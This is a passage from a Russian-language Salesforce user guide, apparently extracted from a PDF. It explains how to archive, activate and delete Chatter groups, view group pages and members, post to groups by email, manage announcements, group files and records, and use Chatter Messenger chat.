• Чтобы настроить автоматическое архивирование, установите переключатель «Данная группа архивируется
при отсутствии сообщений или комментариев в течение 90 дней» и нажмите кнопку «Сохранить».

Ниже перечислены действия, выполняемые после архивирования группы.

• Страница группы не отображает публикатор, а участники не могут создавать сообщения или публиковать файлы в
группе.

• Группа удаляется из фильтра «Активные группы» на вкладке «Группы».

• Предыдущие сообщения и комментарии группы не отображаются в ленте Chatter, кроме случаев добавления нового
комментария. Сообщениясновымикомментариямиотображаютсявленте «Всякомпания» илентекаждогоучастника
группы.

Чтобынайти собственныеили управляемые архивные группылибо архивные группысо своимучастием, воспользуйтесь
фильтром «Мои архивные группы» в списке «Группы». При необходимости воспользуйтесь функцией глобального
поиска. Обратите внимание, что архивные группы не учитываются ограничением для состава участников группы.

Прим.:

• Участники группы не получают электронные уведомления об архивировании или активации собственной или
управляемой группы Chatter, либо группы со своим участием.

• Если администратор отключает архивирование групп, то пользователи не могут архивировать группы и
редактировать параметры автоматического архивирования. Отключение данной функции не препятствует
активации архивных групп.

СМ. ТАКЖЕ:

Архивирование групп Chatter

Активация архивных групп Chatter
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Активация архивных групп Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Архивная группа Chatter может быть активирована ответственным, менеджером или
пользователемсполномочием «Изменениевсехданных» настраницесведенийо группе.

1. Найдите нужную группу.

• Чтобы найти собственные или управляемые архивные группы либо архивные
группысосвоимучастием, воспользуйтесьфильтром «Моиархивныегруппы»
в списковом представлении «Группы».

• Чтобы найти другие архивные группы, воспользуйтесь функцией глобального
поиска, запустите отчет или обратитесь за помощью к администратору.

2. Щелкните ссылку «Активировать» на странице сведений о группе. Активировать
архивную группу также можно на странице параметров группы.

После активации группы отображаемая страница сведений о группе поддерживает
публикатор, позволяющий участникам создавать сообщения и обмениваться файлами.

Прим.:

• Участники группы не получают электронные уведомления об архивировании или активации собственной или
управляемой группы Chatter, либо группы со своим участием.

• Одновременно разрешается активировать только одну группу. Чтобы выполнить пакетную активацию групп,
воспользуйтесь интерфейсом Salesforce API.

СМ. ТАКЖЕ:

Архивирование групп Chatter

Архивирование групп Chatter

Удаление групп Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Удаление группы доступно только ответственному пользователю и пользователям с
полномочием «Изменение всех данных».

Если вы используете Lightning Experience, удаление группы производится щелчком по
кнопке «Удаление группы» на панели основных показателей группы.

Если вы используете Salesforce Classic, выполните следующие действия.

1. Редактирование параметров группыЩелкните ссылку «Параметры группы» на
странице сведений о группе.

2. Нажмите кнопку «Удалить».

3. Нажмите кнопку «OK».

Удаление группы приводит к необратимому удалению соответствующих обновлений,
в том числе всех опубликованных в ней ссылок. Удаление группы, содержащейфайлы,
инициирует удаление ссылок на файлы, но не самих файлов. Файлы не удаляются из источника (например, из списка
«Принадлежащие мне» ответственного). Если файл опубликован в группу и недоступен в других областях, то при
удалениигруппытакжеудаляетсяссылканаэтотфайл. Самфайлостаетсявсписке«Принадлежащиемне»ответственного.
Файл становится личным, однако позже к нему может быть вновь предоставлен общий доступ.
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Совет: Чтобысохранитьданныедляпоследующегоиспользования, рекомендуемархивировать, ане удалять группы.

СМ. ТАКЖЕ:

Архивирование групп Chatter

Просмотр областей совместного использования файла

Работа в группах Chatter

Знакомство с группой Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Чтобы просмотреть обновления группы, файлы и участников группы, щелкните имя
нужной группы в ленте, списке «Группы» или профиле пользователя.

Сведения и действия, доступные на странице группы, определяются типом группы,
статусом пользователя (участник, ответственный или менеджер) и ролью пользователя
в группе.

Не участники общедоступных групп

Нижеперечисленыдействия, доступныенастраницесведенийобобщедоступнойгруппе
пользователям, которые не являются ее участниками.

Добавление сообщений и комментариев
Введитеобновлениенадлентойиликомментарийподсообщениемлентыинажмите
кнопку «Опубликовать».

Присоединение к группе
Чтобы стать участником группы, щелкните «Присоединиться».

Просмотр описания и сведений о группе
Описание группы и сведения о ней отображаются в отдельном столбце рядом с лентой.

Просмотр участников группы
В разделе «Участники группы» представлены действующие участники группы, включая приглашенных клиентами.

Просмотр, загрузка и поискфайлов, опубликованных в группу
Опубликованные в ленте группы или общедоступные файлы содержатся в разделе «Файлы группы».

Просмотр тем, обсуждаемых группой
Темы группы отображаются под сообщениями в ленте группы.

Поиск сведений о группе

Чтобы найти нужные сведения в группе, щелкните значок над лентой.

Не участники личных групп

Ниже перечислены действия, доступные на странице сведений о личной группе пользователям, которые не являются ее
участниками.

Отправка запроса на присоединение к группе
Чтобы отправить менеджеру или ответственному за личную группу запрос на присоединение, щелкните «Запрос
на присоединение».
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Просмотрфотографии и описания группы
Описание группы отображается под фотографией для группы.

Просмотр участников группы
В разделе «Участники группы» представлены действующие участники группы, включая приглашенных клиентами.

Не участники неуказанных групп

Страница сведений о неуказанной группе может просматриваться только ее участником.

Участники общедоступных, личных и неуказанных групп

Ниже перечислены действия, доступные участникам общедоступной, личной или неуказанной группы.

Изменение параметров эл. почты и внутрипрограммных уведомлений для мобильных приложений Salesforce1
Чтобы получать регулярные уведомления о действиях, происходящих в группе, если вы используете Salesforce Classic,
щелкнитессылку«Уведомлятьменяпоэл. почте…». Выборпараметра«Каждоесообщение»инициируетвключение
внутрипрограммных уведомлений для групп в мобильных приложениях Salesforce1. Чтобы отменить получение
электронных и мобильных уведомлений, щелкните «Выключить групповую электронную рассылку». Чтобы
изменить все параметры эл. почты Chatter, щелкните ссылку «Параметры эл. почты».

Если вы используете Lightning Experience, щелкните ссылкуЭлектронные уведомления на панели основных
показателей группы, чтобы изменить для нее настройки электронной почты.

Приглашение людей
Есливорганизациивключенавозможностьотправкиприглашений, щелкните«Пригласитьлюдей», чтобыпригласить
пользователей, которые отсутствуют в сети Chatter, стать участниками группы. Приглашения в личные группы могут
отправляться только менеджерами, ответственными или пользователями с полномочием «Изменение всех данных».
Приглашения в неуказанные группы могут отправляться только менеджерами, ответственными или пользователями
с полномочием «Управление неуказанными группами».

Выход из группы
Щелкните значок или отмените запрос на присоединение к личной группе. Чтобы выйти из состава группы, за
которую пользователь несет ответственность, рекомендуем сначала назначить нового ответственного.

Ответственные и менеджеры группы

Нижеперечисленыдействия, доступныеответственнымименеджерамобщедоступной, личнойилинеуказаннойгруппы.

Добавление или удаление участников группы

Изменениефотографии для группы

Редактирование параметров группы

Редактирование раздела «Сведения»
Чтобы указать дополнительные сведения об участниках группы, щелкните ссылку «Добавитьсведения»или значок

в разделе «Информация». Благодаря возможности настройки, данный раздел позволяет вводить любые нужные
сведения.

Редактирование раздела «Описание»
Чтобы добавить описание группы, щелкните ссылку «Добавить описание» или значок в разделе «Описание».
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Изменение ролей участников

Принятие или отклонение запросов на присоединение к личным группам

СМ. ТАКЖЕ:

Списки «Файлы группы»

Просмотр участников группы Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Список «Группы» впрофилепользователя содержит группыChatter с участиемтекущего
пользователя, которыесортируютсяподатепоследнегодействия. Чтобысоздать группу
илистать ее участником, воспользуйтесьвкладкой «Группы». Чтобыпросмотреть группы
с участием других пользователей, воспользуйтесь списком «Группы» в их профилях.

Прим.: Участники неуказанных групп могут просматриваться в профилях других
пользователей только их участниками.

• Чтобы просмотреть полный список в алфавитном порядке, щелкните ссылку
«Показать все».

• Чтобы просмотреть полный список, щелкните ссылку «Далее» или «Назад».

• Чтобы выйтииз группыилиотменить запрос на присоединение к группе, щелкните
значок .

• Чтобы стать участником общедоступной группы, щелкните ссылку
«Присоединиться» в списке групп другого пользователя.

• Чтобыотправить запроснаприсоединениекличнойгруппе, щелкните ссылку «Запроснаприсоединение» в списке
групп другого пользователя.

• Чтобы закрыть окно, нажмите кнопку «Готово».

СМ. ТАКЖЕ:

Действия, доступные пользователям посредством роли в группе Chatter

Просмотр участников группы Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Раздел «Участники» на странице сведений о группе Chatter отображает всех участников
группы, включая клиентов.

1. Чтобы просмотреть полный список участников группы в алфавитном порядке,
щелкните ссылку «Показать все» в разделе «Участники».

Ниже перечислены действия, доступные в окне «Участники».

• Чтобыпросмотреть всех участников, менеджеровилиответственных, выполните
фильтрацию данного списка.

• Чтобы просмотреть полный список, щелкните ссылку «Далее» или «Назад».

• Воспользуйтесь полем «Найти участников».

• Чтобы начать или отменить отслеживание пользователя, щелкните ссылку
«Отслеживать» или значок напротив нужного имени.

Клиенты недоступны для отслеживания.
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2. Чтобы закрыть окно, нажмите кнопку «Готово».

Рекомендации по группам Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Ниже перечислены критерии, используемые сетью Chatter для рекомендации групп,
доступных для участия.

• Популярность группы (исходя из количества ее участников).

• Количество отслеживаемых в группе пользователей. Chatter рекомендует те группы,
в которых отслеживается наибольшее количество пользователей.

• Новизна группы (создание в прошлом месяце).

Чтобы просмотреть расширенный список рекомендаций, щелкните ссылку
«Дополнительно» в разделе «Рекомендации». Если рекомендации не отображаются,
следовательно, пользователь уже является участникомвсехрекомендуемыхгрупп.Чтобы
пропустить рекомендацию и запретить ее повторное отображение, наведите указатель
мыши на нужную рекомендацию ищелкните значок .

Использование эл. почты для публикации сообщений в группы Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Пользователи могут публиковать сообщения в доступные группы Chatter посредством
эл. почты.

Функция публикации сообщений в общедоступные группы посредством эл. почты
должна быть включена администратором. При необходимости администратор может
разрешить пользователям добавление вложений. Использование эл. почты для
публикации сообщений в личные или неуказанные группы доступно только их
участникам. Рекомендуем использовать адрес эл. почты, связанный с учетной записью
пользователя Salesforce.

1. Чтобы открыть пустое сообщение эл. почты посредством локального почтового
клиента в Salesforce Classic, щелкните ссылку «Добавить сообщение по эл. почте»,
расположенную под описанием группы на странице сведений о группе.

2. Введите текст сообщения, включая вложения, и отправьте сообщение эл. почты.

Вложения, добавленные в сообщение эл. почты, добавляются в качестве файлов Chatter и могут просматриваться
группой.

Содержимое сообщения эл. почты отображается в виде сообщения ленты на странице сведений о группе. Хэштеги,
добавленныев текст сообщения эл. почты (например, #УспехиРабочейГруппы), преобразуются в темысообщенияленты.
Если сообщение эл. почты содержит несколько вложений, то первое вложение добавляется как сообщение ленты.
Дополнительные вложения добавляются как комментарии.

Совет: Сохраните адрес эл. почты группы в качестве контакта в почтовом клиенте или на мобильном устройстве
для последующего использования. При копировании и вставке ссылки mailto: прямо в поле эл. почты контакта
некоторыепочтовыеклиентымогут считатьданнуюссылкунедействительнойипрепятствоватьотправкесообщения
эл. почтыконтакту. Рекомендуемудалитьимя группывскобкахизпервойчастиадреса эл. почты. Например, удалите
имя группы (Моя группа) из адреса эл. почты (Моя
группа)0f9b000000004cmkaq@post.k-pxyvmac.kp0.chatter.salesforce.com.

Ниже перечислены ограничения, применяемые при публикации сообщений в группу посредством эл. почты.

• Сообщения Chatter, созданные посредством эл. почты, могут содержать не более 10 000 символов. Остальной текст
сообщения эл. почты не отображается в сообщении ленты.
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• Максимальный размер сообщения составляет 25 Мб, включая текст и вложения.

• Тема сообщения эл. почты не добавляется в сообщение ленты.

• Пользователимогут создавать текстовые сообщенияпосредствомэл. почтыидобавлять ссылкив текст. Пользователи
могутдобавлятьнеболее25вложений. Припубликациисообщениялентывгруппупосредствомэл. почтыпользователи
не могут упоминать людей, создавать опросы и назначать заголовки ссылкам.

• Форматирование текста (например, использование полужирного начертания или шрифта разного размера) не
поддерживается.

• Адреса эл. почты должны быть уникальными на уровне группы. Если разные профили пользователей, заданные в
организации, применяютодинаковыйадрес эл. почты, которыйтакжеиспользуетсядляпубликациисообщенияленты
в группу, топрипубликациисообщениявленту данной группыиспользуется связанныйпрофильпользователя. Если
адрес эл. почты используется разными профилями пользователей внутри одной группы, то сообщение эл. почты
блокируется.

• Текст подписи входит в сообщение. Стандартные подписи, добавляемые при использовании мобильных устройств
(например, Sent from my iPhone), автоматически удаляются. Прежде чем отправить ответ, удалите подписи
пользователей и любой другой текст, который не должен быть опубликован в Chatter. Либо добавьте разделяющую
линиюнадподписью, чтобыудалить ее. Разделяющаялиниядолжнавключатьв себя какминимумодиниз следующих
символов:

– тире (-);

– знак равенства (=);

– подчеркивание (_).

Также можно использовать любые сочетания этих символов.

Публикация объявлений в группах Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Объявления группы позволяют выделять важные сообщения на странице группы.

Прим.: Группы отображают глобальный макет публикатора, выбранный по
умолчанию. Если публикатор группы не отображает действие «Объявление»,
обратитесь к администратору с просьбой переопределить глобальный макет
публикатораидобавитьдействие «Объявление» внастраиваемыймакетпубликатора
группы.

Только владельцы группы, менеджеры группы и пользователи с полномочием
«Изменение всех данных» могут публиковать и удалять объявления группы.

1. Щелкните ссылку «Объявление» в публикаторе на странице группы.

2. Введите сообщение. Длина объявления может составлять не более 5 000 символов.
Принеобходимостидополнитеобъявлениессылкамииупоминаниямипользователей
илигрупп. Ввидудействующихограниченийстраница группыпозволяетотображать
примерно 137 символовобъявления. Дляпросмотрасообщенияполностьюнажмите
ссылку «Дополнительно».

3. Укажите дату истечения срока действия объявления.

4. Нажмите кнопку «Опубликовать».

Объявления группы (кроме замененныхновымиобъявлениями) отображаютсядо 23:59 выбраннойдатыистечениясрока
действия. Пользователи могут обсуждать, комментировать и выбирать понравившиеся объявления в ленте группы.
Аналогичнодругимсообщениям, участникигруппыполучаютэлектронноеуведомлениеопубликацииновогообъявления
на основе выбранной частоты отправки групповых электронных уведомлений.
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Удаление сообщения ленты инициирует удаление объявления. Чтобы удалить объявление со страницы группы без
удаления сообщения ленты, щелкните значок в верхнем углу объявления и выберите пункт «Пропустить баннер!».

СМ. ТАКЖЕ:

Настройка макета групп и публикатора Chatter

Списки «Файлы группы»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Список «Файлы группы» на странице группы Chatter содержит последние пять файлов,
опубликованных в данную группу.

Наведите указатель мыши для просмотра доступных параметров или щелкните имя
файла для открытия соответствующей страницы сведений. Чтобы просмотреть все
опубликованные в группу файлы, выполнить поиск определенного файла или
необходимые действия надфайлом, щелкните ссылку «Показать все». По умолчанию
на странице отображаются 25 файлов, которые были просмотрены последними. Ниже
перечислены действия, доступные в данном списке.

• Найдите файлы, опубликованные в группу. Данный список содержит файлы,
добавленные текущим и другими пользователями в ленту Chatter группы. Данный
список не содержит указанные ниже элементы.

– Документы на вкладке «Документы»

– Вложения из связанного списка «Примечания и вложения»

• Загрузите личные файлы или загрузите и предоставьте доступ к файлам людям, группам или по ссылке.

• Откройте файл для предварительного просмотра без его загрузки.

• Начните отслеживаниефайла и получение обновлений в ленте Chatter. Чтобы отменить получение обновлений для
отслеживаемого файла, щелкните рядом с файлом. (Требуется Chatter.)

• Чтобы загрузить исходную или новую версиюфайла, предоставить доступ к файлу определенным людям, группам

или по ссылке, либо просмотреть параметры общего доступа, щелкните значок .

• Чтобы просмотреть страницу сведений о файле, щелкните имя нужного файла.

• Чтобы просмотреть профиль владельца файла, щелкните его имя.

Прим.:

• Некоторые файлы недоступны для предварительного просмотра (например, зашифрованные файлы; файлы,
защищенные паролем; PDF-документы, защищенные от копирования; неизвестные типыфайлов и файлы
размером более 25 Мб). Для этих файлов параметр «Предварительный просмотр» недоступен в лентах и
списковых представлениях. Файлы, просмотр которых невозможен, отмечены в ленте значками групповых
файлов. Некоторыефункции Microsoft Office 2007 отображаютсянекорректноприпредварительномпросмотре.
Еслифайлподдерживаетпредварительныйпросмотр, нопредварительныйпросмотрне существует, обратитесь
к администратору Salesforce, который поможет восстановить предварительный просмотр.

• Файлы, расширение которых не распознано или отсутствует, отображаются в столбце «Тип» как неизвестные.

СМ. ТАКЖЕ:

Просмотр участников группы Chatter
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Записи в группах Chatter

Создание записей в группах Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания записи в
группах Chatter:
• «Создание» для объекта

Рекомендуем использовать публикатор группы для создания записей в группах Chatter.

Действия, доступныевпубликаторе группы, определяютсяполномочиямипользователя,
рольюпользователяв группе, типомгруппыиспособомнастройкипубликатора группы.

• В зависимости от способа настройки макета публикатора группы, пользователи
могутсоздаватьзаписиорганизаций, контактов, интересов, возможностей, контрактов,
кампаний, обращенийинастраиваемыхобъектов. Другиеобъектынеподдерживаются.

• При создании записи в группе сообщение о создании записи отображается
несколькимиобластями, включаяленту группы, профильпользователя, ленту записи
и ленту Chatter компании. Запись и сообщение ленты о создании записи могут
просматриваться пользователями только при наличии необходимых полномочий
(посредством лицензии, профиля, полномочий и правил общего доступа).

Совет: Чтобы просмотреть сообщения о создании записей, воспользуйтесь
фильтром «Все обновления» в параметре «Показать» ленты группы.

• Все комментарии к сообщению о создании записи отображаются в ленте группы.
Сюдаотносятся комментарии, опубликованныек сообщениювленте записи, а также
комментарии, опубликованные пользователями, которые не принадлежат данной
группе.

Например, сообщение о создании записипользователемИван в личной группе отображается в ленте группыиленте
записи. Пользователь Алексей не является участником данной личной группы, но имеет доступ к странице сведений
озаписиилентезаписи. Комментарийксообщениюосозданиизаписивлентезаписи, опубликованныйпользователем
Алексеем, отображается в ленте личной группы.

• Доступностьзаписейвгруппахучитываетполномочияпользователяиправилаобщегодоступа, заданныеворганизации.
При наличии полномочий участники группы могут просматривать и комментировать запись в любом контексте
(группа, профиль ответственного, страница сведений о записи, лента Chatter компании).

Приотсутствииполномочийучастники группы (например, пользователиChatter Free) немогутпросматривать запись
или ленту записи в группе или других областях.

• Группы, поддерживающие доступ клиентов, не позволяют создавать записи.

• Если администратор включает возможность добавления записей в группы, то:

– Создание записи внутри группы инициирует автоматическое создание взаимосвязи между группой и записью
(аналогично добавлению текущей записи).

– Список «Записи группы» отображает созданные записи (помимо добавленных записей).

При необходимости удалите записи из групп Chatter.

3304

Публикация общедоступных обновлений (Chatter)Расширенное сотрудничество



Добавление текущих записей в группы Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра записи
группы или добавления
записи в группу:

• «Чтение» для записи
• Доступ к группе

Добавлениезаписейв группыпозволяетпользователямсотрудничатьиобсуждатьзаписи
подобно рабочей группе.

1. Щелкните ссылку «Добавить запись» в публикаторе группы.

Прим.: При отсутствии данного параметра администратор должен добавить
действие «Добавить запись» в публикатор группы. Группы, поддерживающие
доступ клиентов, не позволяют добавлять записи.

2. Выберите нужный тип записи из списка «Запись».

Разрешается добавлять записи организаций, контактов, интересов, возможностей,
контрактов, кампаний, обращений и настраиваемых объектов. Другие объекты не
поддерживаются.

3.
Введите имя нужной записи в пустое поле поиска и щелкните значок . Чтобы
выполнить поиск по всем доступным записям выбранного типа, пропустите данное
поле.

4. Выберите нужную запись из списка результатов поиска.

5. Нажмите кнопку «Создать».

Сообщениеоб успешномвыполненииподтверждаетдобавление записив группу, а сама
запись отображается в списке «Записи группы». При добавлении связанного списка
«Группы» на страницу сведений о записи данная страница также отображает список
связанныхгрупп. Количествозаписей, доступныхдлядобавленияв группу, неограничено.

Прим.: Добавление записи в группу не влияет на ее доступность. Записи группы
могут просматриваться пользователями только при наличии необходимых
полномочий (посредствомлицензии, профиля, наборовполномочийилиобщего
доступа).Например, пользователи Chatter Free не могут просматривать записи в
группах. А, пользователи, имеющие полномочия для просмотра организаций и
контактов, не могут просматривать записи обращений. Именно поэтому,
пользователямможетбытьдоступноменьшезаписей, чемуказанов списке «Записи
группы».

Пример: Ниже перечислены некоторые способы использования групп Chatter в качестве пространства для
сотрудничества над обрабатываемыми записями.

• Группы сбыта, работающие совместнонад организацией, могут отслеживать связанные возможности, контакты
иинтересыводнойгруппе. Участникирабочейгруппы, имеющиенеобходимыеполномочия, могутпросматривать
записипрямоиз группы. Новыеучастникирабочей группымогутиспользовать группув качестве универсального
пространства для изучения более ранних обсуждений относительно организации и ее дочерних записей.

• Рабочие группы по обслуживанию клиентов могут использовать группы для отслеживания обрабатываемых
обращений. Группа может стать своеобразнымфорумом для отслеживания обращений, обсуждения решений
и анализа тенденций по типовым проблемным областям.

• Рабочие группыпомаркетингумогутиспользовать группыдляотслеживаниякампаний, планированиясобытий,
а также обсуждения потенциальных интересов и контактов для приглашения на событие. Кроме того, группы
могут использоваться как уникальное пространство для сотрудничества над маркетинговым содержимым или
артефактами кампаний.
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Удаление записей из групп Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления записей
группы:

• «Чтение» для объекта
• Доступ к группе

Удалите ненужные записи из групп Chatter.

Удаление записи из группы доступно любому пользователю при наличии
соответствующего доступа.

1. Щелкните ссылку «Показать все» напротив списка «Записи группы» на странице
сведений о группе.

Прим.: Список «Записи группы» отображается на странице сведенийо группе
только после разрешения пользователям добавлять текущие записи в группы.

2. Чтобы просмотреть записи определенного типа, выберите нужный параметр из
списка «Фильтровать по».

3. Найдите нужную запись и щелкните «Удалить» напротив ее имени.

Удалениезаписииз группыинициируетудалениевзаимосвязимежду группойизаписью,
но не самой записи. При необходимости восстановите удаленную взаимосвязь из
корзины.

Chatter Messenger (чат)

Что такое чат?
Чат — это средство безопасного обменамгновенными сообщениями с пользователями
Chatter. Списокчата автоматическивключаетвсехлюдей, отслеживаемыхвсетиChatter, поэтомупользователямнепридется
дополнительно создавать список контактов.

СМ. ТАКЖЕ:

Использование Chatter Messenger

Использование Chatter Messenger

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Чтобы свернуть или развернуть окно чата, щелкните заголовок нужного чата. Чтобы
развернутьчатвотдельномокнеобозревателя, котороеподдерживаетдоступкразличным

функциям, щелкните значок в списке чата. В этом случае пользователи могут
общаться со своими собеседниками параллельно просмотру и использованию других
сайтов и приложений.

Ниже приведены дополнительные сведения об использовании Chatter Messenger.

• Администратор может отключить Chatter Messenger на уровне организации. Кроме
того, пользователю предоставляется доступ к Chatter Messenger, только если
администратор установил «API включен» в полномочиях профиля. Если Chatter
Messenger не отображается при запуске Salesforce, попросите администратора
подключить эту функцию и предоставить необходимые полномочия.

• Сообщества не поддерживают Chatter Messenger. Chatter Messenger доступен только внутренним пользователям, при
условии, что единомустандартномупараметрудляобъекта «Пользователь» задано значение «Общедоступный: только
для чтения».
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• Chatter Messenger не поддерживается обозревателем Microsoft® Internet Explorer® 7.0. Остальные пользователи Chatter
Messenger не смогут видеть пользователей Internet Explorer 7 в сети.

Ниже перечислены действия, доступные в чате.

• Изменение собственного статуса.

• Общение с людьми.

• Добавление и удаление людей из списка «Мое избранное».

• Отображение чата в отдельном окне обозревателя.

• Использование смайликов.

• Настройка параметров чата (например, звуки и уведомления).

• Просмотр журнала чата.

СМ. ТАКЖЕ:

Сообщения Chatter

Использование списка чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Просмотрите рекомендации по работе со списком чата.

• Чтобы найти и начать чат с любым пользователем Chatter, находящимся в сети,
включаянеотслеживаемыхлюдей, воспользуйтесьполемпоиска вверху списка чата.

• Чтобы переключиться между активными чатами, выберите нужный чат в списке
«Текущие чаты».

• Чтобы добавить пользователя в список чата, начните его отслеживание в Chatter.

• Добавьте наиболее активных пользователей в список «Мое избранное».

• Чтобы настроить параметры чата, щелкните значок .

• Чтобы изменить статус чата, щелкните статус вверху списка чата.

• Если окно чата свернуто, то при получении новых сообщений отображается

соответствующий индикатор .

СМ. ТАКЖЕ:

Изменение статуса в чате
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Добавление людей в список чата «Мое избранное»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Список людей, отслеживаемых в сети Chatter, может быть очень длинным. Список «Мое
избранное»позволяет добавлять не более 100 чатов, которые будут всегда отображаться
вверху списка чата.

• Чтобысохранитьчат визбранном, щелкните значок в активномчате какминимум
с одним пользователем.

• Кроме того, отдельный пользователь может быть добавлен путем выбора его имени
в списке «Отслеживаемые люди» и перетаскивания в список «Мое избранное».

• Чат с группой пользователей может быть переименован в списке «Мое избранное».
Щелкните «Правка» напротив списка «Мое избранное», выберите нужный
многопользовательский чат и введите новое имя. Например, избранный чат с
пользователями Елена, Владимир, Алексей может быть переименован на «Группа
сбыта». Все имена должны быть уникальными.

СМ. ТАКЖЕ:

Использование списка чата

Удаление людей из списка чата «Мое избранное»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Чаты, которыесталииспользоватьсяреже, могутбытьудаленыизсписка «Моеизбранное».
Приэтомпользователи, отслеживаемыевсетиChatter, останутсявсписке «Отслеживаемые
люди».

1. Щелкните «Правка» напротив списка «Мое избранное».

2. Нажмите кнопку напротив имени нужного чата.

3. По завершениищелкните «Готово» напротив списка «Мое избранное».

Кроме того, чтобы удалить чат из списка «Мое избранное», щелкните значок в
активном чате.

СМ. ТАКЖЕ:

Добавление людей в список чата «Мое избранное»

Изменение статуса в чате

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Уведомите пользователей, что доступны для общения, или выберите значение «Не в
сети», чтобы не получать сообщения.

Ниже перечислены области, в которых отображается статус пользователя.

• В списках чата

• В профиле

• При наведении указателя мыши на имена пользователей

Чтобыизменитьсвойстатус, выберите«Наместе», «Отошел»или«Невсети» вверхней
частиспискачата.Например, чтобыизменитьсвойстатус сдоступногонанедоступный,
щелкните «Наместе» и выберите значение «Не в сети».
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Статус «Недоступен» устанавливаетсяавтоматическипосле 15 минутпростоя. Чтобыизменитьданныйпараметр, щелкните
«Чат» >  > «Параметры» и выберите «Общие параметры».

Совет: Чат включается или выключается администраторами организации.

СМ. ТАКЖЕ:

Редактирование параметров чата

Общение с людьми

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Чат позволяет общаться как минимум с одним пользователем Chatter.

1. Начните чат с любым пользователем Chatter, находящимся в сети.

• Чтобынайтииначать чат с любымпользователеморганизации, воспользуйтесь
полемпоискавверху Chatter Messenger. Принеобходимостищелкнитеимянужного
пользователя в списке «Отслеживаемые люди» или «Мое избранное».

• Щелкните «Начать чат» в профиле пользователя.

• Наведитеуказательмышинаимянужногопользователявлюбойлентеищелкните
«Начать чат».

2. При необходимости добавьте в чат не более 10 пользователей.

a. Перетащитенужныхпользователейиз спискачата в активныйчатилищелкните

значок в верхней части активного чата для поиска и добавления любого
пользователя Chatter, находящегося в сети.

b. При необходимости повторите эти действия.

Чтобы просмотреть список всех пользователей чата, щелкните значок .

Прим.: Людиизчата, которыйбылзакрыттекущимпользователем, могутпродолжитьобщениесэтимпользователем.
Для этого текущий пользователь должен быть добавлен обратно в чат.

СМ. ТАКЖЕ:

Изменение статуса в чате

Журнал чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Просмотрите журнал чата.

Поумолчаниюокночатаотображаетдиалогисучастиемсоответствующегопользователя
за последние 72 часа. Чтобы просмотреть список всех диалогов за последние 72 часа,
выполните указанные ниже действия.

1. Чтобы развернуть окно чата, щелкните заголовок нужного чата.

2. Щелкните значок .

3309

Публикация общедоступных обновлений (Chatter)Расширенное сотрудничество



3. Чтобы просмотреть соответствующий журнал чата, щелкните имя нужного пользователя.

СМ. ТАКЖЕ:

Использование Chatter Messenger

Добавление смайликов в чат

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Чтобы добавить смайлики в окно чата, воспользуйтесь специальными комбинациями
